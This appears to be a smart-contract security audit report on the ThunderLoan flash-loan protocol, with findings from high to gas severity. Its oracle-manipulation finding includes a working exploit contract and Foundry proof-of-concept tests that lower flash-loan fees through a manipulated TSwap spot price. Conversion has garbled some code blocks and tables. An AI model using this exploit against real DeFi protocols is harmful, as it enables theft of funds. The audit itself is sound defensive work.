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Protocol Summary

The ThunderLoan protocol is meant to do the following:

- 1. Give users a way to create flash loans
- 2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

Disclaimer

The AKHIL MANGA team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the

team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum ERC20s: USDC DAI LINK WETH

Scope

In Scope:

```
1 #-- interfaces
2 | #-- IFlashLoanReceiver.sol
3 | #-- IPoolFactory.sol
4 | #-- ITSwapPool.sol
5 | #-- IThunderLoan.sol
6 #-- protocol
7 | #-- AssetToken.sol
8 | #-- OracleUpgradeable.sol
9 | #-- ThunderLoan.sol
10 #-- upgradedProtocol
11 #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

By auditing this codebase, i have learned about FlashLoan, Centralization, Failure to initialize, oracle manipulation and storage collision.

Issues found

Severity	Number of issues found
High	2
Medium	2
Low	3
Info/Gas	
4	
Total	
11	

Findings

High

[H-1] ThunderLoan::updateExchangeRate in the deposit function causes the protocol to think it has more fees than it really does, which incorrectly sets the exchange rate

Description: In the ThunderLoan protocol, the exchangeRate is there to calculate the exchange rate between assetTokens and underlying tokens. This exchangeRate decides, how much fees is given to liquidity providers.

The deposit function, updates this rate, without collecting any fees.

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
           AssetToken assetToken = s_tokenToAssetToken[token];
3
           uint256 exchangeRate = assetToken.getExchangeRate();
4
5
           uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
6
           emit Deposit(msg.sender, token, amount);
7
           assetToken.mint(msg.sender, mintAmount);
8
           uint256 calculatedFee = getCalculatedFee(token, amount);
9
           assetToken.updateExchangeRate(calculatedFee);
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
12
       }
13
```

Impact:

- 1. The redeem function is blocked, because the protocol thinks the owed tokens are more than it has.
- 2. Rewards are incorrectly calculated, leading to liquidity providers getting more or less than deserved.

Proof of Concept:

- 1. Liquidity providers deposits
- 2. User takes out a flash loan
- 3. It is now impossible for Liquidity provider to redeem

Proof of Code

Place the below test suite in Thunder Loan Test.t.sol

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2
           uint256 amountToBorrow = AMOUNT * 10;
3
           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
              amountToBorrow);
4
           vm.startPrank(user);
5
           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
6
           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
7
              amountToBorrow, "");
8
           vm.stopPrank();
9
10
           // 1000e18 (initial deposit)
           // 3e17 (fee)
```

Recommended Mitigation: Remove the incorrectly updated eexchangeRate from deposit function

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
           AssetToken assetToken = s_tokenToAssetToken[token];
3
           uint256 exchangeRate = assetToken.getExchangeRate();
5
           uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
           emit Deposit(msg.sender, token, amount);
8
           assetToken.mint(msg.sender, mintAmount);
9
10 -
           uint256 calculatedFee = getCalculatedFee(token, amount);
            assetToken.updateExchangeRate(calculatedFee);
11 -
           token.safeTransferFrom(msg.sender, address(assetToken), amount)
13
14
       }
```

[H-2] Mixing up variable locations causes storage collisions in TunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning, freezing protocol

Description: The ThunderLoan.sol contract has 2 variables:

```
1 uint256 private s_feePrecision;
2 uint256 private s_flashLoanFee;
```

The upgraded ThunderLoanUpgraded.sol contract has variables in different order:

```
uint256 private s_flashLoanFee;
uint256 private constant FEE_PRECISION = 1e18;
```

Due to the working rule of solidity storage, after the upgrade s_flashLoanFee will have the value of s_feePrecision. You cannot change the position of storage variables.

Impact: After the upgrade, the s_flashLoanFee will have the value of s_feePrecision. Due to this, users who take out flashLoans after the upgrade will be charged the wrong fees.

Proof of Concept:

PoC

Place the below test suite in the ThunderLoanTest.t.sol

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
      ThunderLoanUpgraded.sol";
2
3
4
5
6 function testUpgradeBreaks() public {
7
           uint256 feeBeforeUpgrade = thunderLoan.getFee();
8
           vm.startPrank(thunderLoan.owner());
9
           ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
           thunderLoan.upgradeToAndCall(address(upgraded), "");
10
11
           uint256 feeAfterUpgrade = thunderLoan.getFee();
           vm.stopPrank();
12
13
           console2.log("Fee Before: ", feeBeforeUpgrade);
14
           console2.log("Fee After: ", feeAfterUpgrade);
15
16
17
           assertEq(feeBeforeUpgrade != feeAfterUpgrade);
18
       }
```

You can also see the storage layout difference by running forge inspect ThunderLoan storage and forge inspect ThunderLoanUpgraded storage

Recommended Mitigation: If you want to remove the storage variable, leave it as blank variable. Don't change the storage slots.

```
1 - uint256 private s_flashLoanFee;
2 - uint256 private constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 private constant FEE_PRECISOION = 1e18;
```

Medium

[M-1] Using TSwap protocol as a price oracle leads to price and oracle manipulation attacks

Description: The tswap protocol is a constant product formulae based AMM (Automated market maker). The price of a token is determined by how many reserves are either side of the pool. Because of this, it is easy for attackers to manipulate the price of the token by buying or selling a large amount of tokens in the same transaction, and we can ignore the protocol fees too.

Impact: Liquidity Providers will reduce fees for providing liquidity.

Proof of Concept:

The below all operations in one transaction:

- 1. User takes a flashLoan from ThunderLoan for 1000 tokenA. They charged the original fee that is feeOne. During the flashLoan, they do the following:
 - 1. User sells 1000 tokenA, by rapid decrease in the price.
 - 2. Instead of repaying right away, the user takes out another flashLoan for another 1000 tokenA.
 - 3. Due to the way ThunderLoan calculates price based on the TSwapPool this second flashLoan is cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {
   address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
   return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

3. The user repays the first flashLoan, and then repays the second flashLoan.

place the below test suite in ThunderLoan.t.sol

PoC

```
1 function testOracleManipulation() public {
           // setup contracts
           thunderLoan = new ThunderLoan();
           tokenA = new ERC20Mock();
           proxy = new ERC1967Proxy(address(thunderLoan), "");
5
           BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
6
               ;
7
           // create a TSwap DEX between WETH / TokenA
8
9
           address tswapPool = pf.createPool(address(tokenA));
10
           thunderLoan = ThunderLoan(address(proxy));
11
           thunderLoan.initialize(address(pf));
12
13
           // fund tswap
           vm.startPrank(liquidityProvider);
14
           tokenA.mint(liquidityProvider, 100e18);
15
           tokenA.approve(address(tswapPool), 100e18);
16
           weth.mint(liquidityProvider, 100e18);
17
18
           weth.approve(address(tswapPool), 100e18);
           BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
19
               timestamp);
20
           vm.stopPrank();
```

```
21
            // Ratio => 100 weth & 100 tokenA
22
            // Price => 1:1
23
24
            // fund thunderLoan
25
            // set allow
26
           vm.prank(thunderLoan.owner());
27
           thunderLoan.setAllowedToken(tokenA, true);
28
            // fund thunderloan
29
           vm.startPrank(liquidityProvider);
30
            tokenA.mint(liquidityProvider, 1000e18);
31
            tokenA.approve(address(thunderLoan), 1000e18);
32
            thunderLoan.deposit(tokenA, 1000e18);
           vm.stopPrank();
33
34
            // we are going to take out 2 flashloan
            // a. To nuke the price of weth/tokenA on TSwap
            // b. To show that doing so greatly reduces the fees we pay on
               thunderloan
39
            uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
               100e18);
40
            console2.log("Normal fee is: ", normalFeeCost);
41
            // 0.296147410319118389
42
43
            uint256 amountToBorrow = 50e18; // we will implement this twice
            MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
44
               (
                address(tswapPool), address(thunderLoan), address(
45
                   thunderLoan.getAssetFromToken(tokenA))
46
            );
47
48
            vm.startPrank(user);
            tokenA.mint(address(flr), 50e18);
49
            thunderLoan.flashLoan(address(flr), tokenA, amountToBorrow, "")
            vm.stopPrank();
51
53
            uint256 attackFee = flr.feeOne() + flr.feeTwo();
54
            console2.log("Attack fee: ", attackFee);
55
            assert(attackFee < normalFeeCost);</pre>
56
       }
57 }
58
59 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
60
       ThunderLoan thunderLoan;
61
       address repayAddress;
62
       BuffMockTSwap tswapPool;
63
       bool attacked;
64
       uint256 public feeOne;
65
       uint256 public feeTwo;
       // 1. swap tokenA borrowed for weth
```

```
67
        // 2. take out another flash loan, to show the difference
68
69
        constructor(address _tswapPool, address _thunderLoan, address
            _repayAddress) {
            tswapPool = BuffMockTSwap(_tswapPool);
            thunderLoan = ThunderLoan(_thunderLoan);
71
72
            repayAddress = _repayAddress;
        }
74
75
        function executeOperation(
76
            address token,
            uint256 amount,
77
78
            uint256 fee,
79
            address initiator,
            bytes calldata params
81
        )
82
            external
            returns (bool)
        {
85
            if (!attacked) {
                // 1. swap tokenA borrowed for weth
86
87
                // 2. take out another flash loan, to show the difference
                feeOne = fee;
                attacked = true;
89
                uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
90
                    (50e18, 100e18, 100e18);
91
                IERC20(token).approve(address(tswapPool), 50e18);
                tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBought, block.timestamp);
                 // calling a second flash loan
94
                thunderLoan.flashLoan(address(this), IERC20(token), amount,
                     "");
                 // repay
                IERC20(token).transfer(address(repayAddress), amount + fee)
            } else {
                // calculate the fees and repay
                feeTwo = fee;
                IERC20(token).transfer(address(repayAddress), amount + fee)
100
101
            }
            return true;
103
        }
```

Recommended Mitigation: Try to use different price oracle mechanism, like a chainlink price feed with a uniswap twap fallback oracle [flashLoan resistant].

[M-2] Centralization risks for the trusted owners

Description: There are 2 functions in the Thunder Loan. sol that are controlled by owner:

```
function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
    returns(AssetToken) {}

function _authorizeUpgrade(address newImplementation) internal
    onlyOwner {}
```

Impact: Contract have owners with rights to perform tasks that change something in the protocol and owner need to be trusted to not perform malicious updates or robbing the funds.

Recommended Mitigation: Try to not use onlyOwner modifier.

Low

[L-1] Empty function body,

comment why it is empty

Description: In ThunderLoan.sol contract:

Recommended Mitigation: Write documentation above the function, about the function.

[L-2] Initializers can be front run

Description: Initializers could be front run, allowing an attacker to set their own values, taking the ownership of the contract.

In OracleUpgradeable.sol contract:

```
1 function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {}
```

In Thunder Loan, sol contract:

[L-3] Missing the event emission in ThunderLoan::s_flashLoanFee

Description: when the s_flashLoanFee is updated, ther is no event emitted.

Impact: If the event is not emitted, we cannot know that the s_flashLoanFee is updated.

Recommended Mitigation:

```
event FlashLoanFeeUpdated(uint256)
3
4
5
  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
6
7
           if (newFee > s_feePrecision) {
8
               revert ThunderLoan__BadNewFee();
9
           }
           s_flashLoanFee = newFee;
10
11 +
          emit FlashLoanFeeUpdated(newFee);
12
       }
```

Informational

[I-1] In OracleUpgradeable::__Oracle_init_unchained there is no zero address check

Recommended Mitigation:

[I-2]: Event is missing indexed fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/protocol/AssetToken.sol: Line: 31
- Found in src/protocol/ThunderLoan.sol: Line: 105

- Found in src/protocol/ThunderLoan.sol: Line: 106
- Found in src/protocol/ThunderLoan.sol: Line: 107
- Found in src/protocol/ThunderLoan.sol: Line: 110
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 105
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 106
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 107
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 110

[I-3]: Functions not used internally could be marked external

- Found in src/protocol/ThunderLoan.sol: Line: 236
- Found in src/protocol/ThunderLoan.sol: Line: 282
- Found in src/protocol/ThunderLoan.sol: Line: 286
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 230
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 275
- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol: Line: 279

Gas

[G-1] Use constant or immutable variables to save gas

Recommended Mitigation:

```
1 - uint256 private s_feePrecision;
2 + uint256 private constant FEE_PRECISION = 1e18;

1 - uint256 private s_exchangeRate;
2 + uint256 private constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1 - uint256 public s_feePrecision;
2 + uint256 public constant FEE_PRECISION = 1e18;
```